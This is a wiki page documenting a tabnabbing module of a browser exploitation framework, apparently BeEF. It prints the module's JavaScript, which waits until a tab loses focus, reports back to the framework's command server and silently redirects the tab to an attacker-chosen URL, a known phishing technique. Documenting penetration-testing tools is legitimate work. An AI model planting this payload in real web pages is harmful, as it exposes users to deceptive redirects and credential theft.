Clone
Module: TabNabbing
Jess Williams edited this page 2019-12-31 13:08:26 +10:00

Summary

  • Objective: This module redirects to the specified URL after the tab has been inactive for a specified amount of time.
  • Authors: bcoles
  • Browsers: 1ll
  • Parameters :
    • URL : URL for the redirection
    • Wait : Time before redirecting (in minutes)
  • Code

Internal Working

Internal workig is pretty easy : when the tab loose focus, it starts a timer. When the timer ends the browser is redirected to the given URL :

window.onblur = function() {
    begin_countdown();
}

window.onfocus = function() {
    clearTimeout(tabnab_timer);
}

begin_countdown = function() {
    tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);
}

Screenshots

Images/module-tabnabbing1.png

Feedback

  • One improvement may be to replace the redirection by a 100% iframe.
  • It should be noticed that the time given is in minute which may be long regarding average of web sessions

References